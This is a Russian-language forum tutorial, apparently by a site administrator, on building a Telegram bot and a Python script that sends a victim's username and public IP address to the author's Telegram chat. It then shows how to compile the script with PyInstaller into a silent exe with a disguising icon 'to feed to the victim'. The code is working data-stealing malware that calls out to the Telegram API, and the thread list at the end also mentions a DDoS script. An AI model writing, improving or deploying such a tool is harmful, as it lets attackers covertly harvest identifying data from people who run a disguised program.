- 20.06.2022
- 23 848
- 218
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1
Установка Python
Переходим по ссылке - . Скачиваем последнюю версию и устанавливаем её.
Создание Бота
Набираем в поисковой строке имя "@@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Python:
/start
/newbot
После мы должны с нашего аккаунта прислать боту любое сообщение. Далее мы переходим по ссылке.
Python:
https://api.telegram.org/bot***ВАШ_ТОКЕН***/getUpdates #перейти по данной ссылке
chat":{"id":вашid #найти ваш chatid на открывшейся странице, это логи вашего бота
С ботом мы покончили, идем дальше. Запомните ваш chatid!
Написание кода
Импортируем модули, которые нам нужны:
Код:
import requests
from os import getlogin
Основная часть кода
Python:
p = False # Для последующего цикла
while p == False: # Условие
try: # Пробуем получить IP
name_of_user = getlogin() # Получаем имя пользователя
ip_pc = requests.get('http://httpbin.org/ip').content # Делаем запрос к сайту
ip_pc = ip_pc.decode('utf-8') # Декодируем
ip = ""
for i in ip_pc: # Очищаем от мусора
if i not in '{}":origin' and len(i) == 1: # Очищаем от мусора
ip+=i # Очищаем от мусора
else: # Очищаем от мусора
pass # Очищаем от мусора
requests.get('http://api.telegram.org/bot***ВАШ_ТОКЕН***/sendMessage?chat_id=***ВАШ_CHATID***&text='+ ip + ' ' + name_of_user, proxies = proxy) # Отправаляем сообщение в телеграм
p = True # Выходим из цикла
except: # Если возникает ошибка(нет доступа в интернет), пробуем, пока не получится
pass # Если возникает ошибка, то мы ничего не делаем
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент ,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.
Последние темы в этом разделе:
- [Alex Erofeev] [Stepik] JavaScript: самый быстрый курс (2024)
- [Михаил Русаков] Написание лайфхаков на Python (2021)
- Пишем DDOS скрипт на Python
- [Саид Магомедов] Python. Микросервисы. Backend на FastAPI [Stepik] (2024)
- Как написать чат-бота на python
- Пишем скрипт по парсингу ответов из gdz.ru
- [Udemy] Кибербезопасность: тестирование на проникновение с помощью Python 3 (2022)
- [Udemy] [ENG] Продвинутый ИИ - глубокое обучение с подкреплением в Python (2024)
- Создание бесплатного API для генерации изображений, используя перехваченные запросы Flux
- [Андрей Сумин] [Stepik] Java с нуля до Junior + Подготовка к собеседованию (2024)